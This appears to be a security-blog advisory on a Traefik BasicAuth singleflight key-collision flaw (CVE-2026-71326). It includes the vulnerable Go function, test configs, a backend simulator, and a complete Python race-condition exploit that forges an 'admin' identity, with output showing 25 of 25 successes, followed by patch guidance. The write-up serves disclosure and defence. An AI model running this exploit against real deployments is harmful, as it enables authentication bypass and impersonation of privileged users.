Listen to this Post
How CVE-2026-71326 Works
Traefik’s BasicAuth middleware implements a performance optimization that deduplicates concurrent password verification requests using a singleflight.Group. When multiple requests for the same credentials arrive simultaneously, only the first verification is executed; subsequent requests receive the cached result, reducing expensive hash computation overhead.
The vulnerability resides in how the deduplication key is constructed. The key is formed by the delimiter-free concatenation of the submitted password and the stored secret (password hash). For a configured user with password `P` and stored hash H, the key becomes P || H.
An attacker who knows one valid username/password/hash tuple can exploit this by submitting a request for an unconfigured username (e.g., “admin”) with a password equal to P || H. For this unconfigured user, the stored secret is an empty string, so the deduplication key becomes `(P || H) || “”` — identical to the configured user’s key.
When both requests arrive concurrently, the `singleflight.Group.Do` mechanism shares the first in-flight result for equal keys. If the configured user’s request initiates the hash verification first, the unconfigured user’s request receives the successful `true` result without ever running its own verification closure.
Critically, the authorization result is not bound to the username that initiated the request. After the shared result is accepted, Traefik’s `ServeHTTP` uses the username parsed from the unconfigured request — the attacker-selected identity — and propagates it through URL.User, the access log, and the configured headerField.
When `headerField` is enabled, this forged identity is forwarded to the backend as a trusted authenticated user, enabling privilege impersonation. The attacker does not need a victim-generated request; they create both concurrent requests themselves.
Exploitation requires the attacker to already possess a valid credential and read access to the stored password hash — typically via the admin-only API, Kubernetes Secret read access, or Docker socket access. Only Traefik v3.6.11 through v3.6.24 and v3.7.0 through v3.7.9 are affected. The fix encodes the password length as a prefix in the key, preventing collisions between distinct `(password, secret)` pairs.
DailyCVE Form:
Platform: Traefik
Version: v3.6.11–v3.6.24, v3.7.0–v3.7.9
Vulnerability: Singleflight key collision
Severity: Low
date: 2026-08-03
Prediction: 2026-08-10
What Undercode Say: Analytics
The vulnerability stems from the `checkPassword` function in `pkg/middlewares/auth/basic_auth.go` (lines 118–131):
func (b basicAuth) checkPassword(user, password string) bool {
secret := b.auth.Secrets(user, b.auth.Realm)
key := password + secret
match, _, _ := b.singleflightGroup.Do(key, func() (any, error) {
if secret == "" {
_ = b.checkSecret(password, b.notFoundSecret)
return false, nil
}
return b.checkSecret(password, secret), nil
})
return match.(bool)
}
The collision occurs because:
- Configured user
viewer:key = P || H, result = `true`
– Unconfigured useradmin:key = (P || H) || "", result = shared `true`
The API endpoint `/api/http/middlewares/{id}` serializes `basicAuth.users` including the hash, despite the `loggable:”false”` tag. Official v3.7.8 binary returned the hash in validation environments.
Validation environment used:
- Official Traefik v3.7.8 Linux amd64 release
- Build timestamp: 2026-07-15T12:42:25Z
- Go version: go1.26.5
- Archive SHA-256: `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`
Dynamic configuration (`dynamic.yml`):
http: routers: app: entryPoints: - web rule: PathPrefix(<code>/</code>) middlewares: - auth service: backend middlewares: auth: basicAuth: headerField: X-WebAuth-User removeHeader: true users: - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.' services: backend: loadBalancer: servers: - url: http://127.0.0.1:19090
Static configuration (`static.yml`):
global: checkNewVersion: false sendAnonymousUsage: false api: insecure: true entryPoints: web: address: 127.0.0.1:18080 providers: file: filename: /absolute/path/to/dynamic.yml watch: false
Backend simulator (`backend.py`):
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = (self.headers.get("X-WebAuth-User", "") + "\n").encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, args):
pass
ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever()
Exploit client:
import base64
import http.client
import json
import threading
import time
import urllib.request
HOST = "127.0.0.1"
PORT = 18080
PASSWORD = "test"
HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."
def request(user, password):
conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
token = base64.b64encode(f"{user}:{password}".encode()).decode()
conn.request("GET", "/", headers={"Authorization": f"Basic {token}"})
response = conn.getresponse()
body = response.read().decode().strip()
status = response.status
conn.close()
return status, body
middleware = json.load(
urllib.request.urlopen(
"http://127.0.0.1:8080/api/http/middlewares/auth%40file"
)
)
print("api_users", middleware["basicAuth"]["users"])
print("valid_baseline", request("viewer", PASSWORD))
print("attacker_baseline", request("admin", PASSWORD + HASH))
wins = 0
for _ in range(25):
valid_result = {}
valid = threading.Thread(
target=lambda: valid_result.setdefault(
"result", request("viewer", PASSWORD)
)
)
valid.start()
time.sleep(0.005)
attack = request("admin", PASSWORD + HASH)
valid.join()
if attack == (200, "admin"):
wins += 1
print("forged_admin_successes", wins, "of", 25)
Observed output:
api_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'] valid_baseline (200, 'viewer') attacker_baseline (401, '401 Unauthorized') forged_admin_successes 25 of 25
All 25 concurrent attacks succeeded in forging the `admin` identity. The negative control confirms `admin` cannot authenticate alone. Using bcrypt made the race deterministic due to the expensive comparison remaining in flight long enough for the second request to join.
Exploit
An attacker with one valid credential and read access to the password hash can:
1. Send a valid authentication request for a configured user (e.g., viewer:test)
2. Simultaneously send a second request for an unconfigured target username (e.g., admin) with password set to `P || H`
3. The singleflight collision causes both requests to share the `true` result
4. The backend receives the forged identity via `headerField`
The attack requires no victim-generated traffic — the attacker creates both concurrent requests themselves. The hash can be obtained from:
– Traefik API (/api/http/middlewares/{id}) — despite being documented as admin-only
– Kubernetes Secrets (requires read access)
– Docker configuration (requires socket access)
Protection
Immediate Mitigation:
- Upgrade to Traefik v3.6.25 or v3.7.10 (patched versions)
- If upgrade is not immediately possible, restrict access to the Traefik API, Kubernetes Secrets, and Docker socket
- Avoid exposing `headerField` with trusted identity semantics until patched
Patch Details:
The fix modifies the singleflight key to encode the password length as a prefix, ensuring distinct `(password, secret)` pairs cannot collide. Affected versions: v3.6.11–v3.6.24 and v3.7.0–v3.7.9. Earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.
Impact
When `headerField` is configured:
An authenticated low-privilege user can impersonate arbitrary identities to the backend. Depending on downstream authorization, this enables:
– Access to administrative data
– Execution of privileged state-changing operations
– Corruption of security audit attribution
– Bypass of identity-based tenant or role separation
When `headerField` is NOT configured:
The unconfigured request still bypasses BasicAuth and reaches the protected service. The practical consequence depends on whether the protected route treats all authenticated users equally.
Attack Prerequisites:
- Network access to a route protected by the affected BasicAuth middleware
- One valid low-privilege username and password
- The corresponding stored password hash
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

